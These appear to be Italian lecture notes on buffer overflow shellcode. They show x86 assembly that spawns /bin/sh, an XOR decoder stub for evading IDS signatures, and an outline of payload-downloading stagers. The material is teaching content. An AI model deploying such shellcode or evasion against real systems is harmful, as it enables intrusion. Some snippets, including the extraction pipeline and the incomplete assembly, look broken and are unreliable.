Cybersecurity: Buffer Overflow

Lezione 3: Shellcode e Offuscamento

Cosa è Shellcode

- Codice macchina iniettato
- Eseguito dopo l'overflow
- Scopo comune: avviare shell (`/bin/sh` o `cmd.exe`)

Caratteristiche

- **Size ridotta**: 20-100 byte
- **Null-free**: no `\x00` (interrompe `strcpy`)
- **Position independent**: funziona ovunque
- **Evitare bad chars**: newline, space, ecc.

Shellcode Linux x86 (25 byte)

```
xor    eax, eax
push   eax
push   0x68732f2f   ; "//sh"
push   0x6e69622f   ; "/bin"
mov    ebx, esp
mov    al, 0x0b
int    0x80
```

Validazione Shellcode

```
# Estrarre shellcode da C
gcc -z execstack -fno-stack-protector shell.c -o shell
dd if=shell bs=1 skip=$(objdump -d shell | grep -A5 "<_start>" | head -2 | tail -1 | awk '{print $2}') | hexdump -C | head -20
```

Offuscamento: XOR Encoding

Nasconde bytes da signature IDS.

```
shellcode_enc = [b ^ key for b in shellcode]
payload = decoder_stub + shellcode_enc
```

Decoder stub piccolo (20 byte).

Esempio Decoder

```
xor ecx, ecx
lea esi, [encoded]
mov cl, length
mov edi, esi
dec ecx
xor byte [esi+ecx], 0xAA
loop decrypt
jmp encoded
```

Downloading Payloads

Instead of injecting full shellcode:

1. Minimal stub scarica payload da rete
2. Payload eseguito in memoria
3. Vantaggio: exploit più piccolo

DilDog Example

- IP server FTP offuscato con XOR
- Stub 112 byte scaricava backdoor
- Utilizzava funzioni di `kernel32.dll`

Bad Characters

- `\x00` termina stringhe
- `\x0a` newline (in input via socket/HTTP)
- `\x0d` carriage return
- Dipende dall'applicazione!

Testare con tutti i byte 1-255.

Esercizio

Scrivere shellcode Linux x86 `execve("/bin/sh")`.
Verificare che non contenga `\x00`.
Generare binario grezzo:

```
objcopy -O binary shellcode.elf shellcode.bin
```

Shellcode Windows

Comune usare:

- `WinExec` (in `kernel32.dll`)
- `CreateProcess`
- `VirtualAlloc` + WriteProcessMemory

Summary

- Shellcode: core dell'exploit
- Offuscamento aiuta a eludere
- Payload download riduce size
- Validazione essenziale

Cybersecurity: Buffer Overflow – Pinolallo.com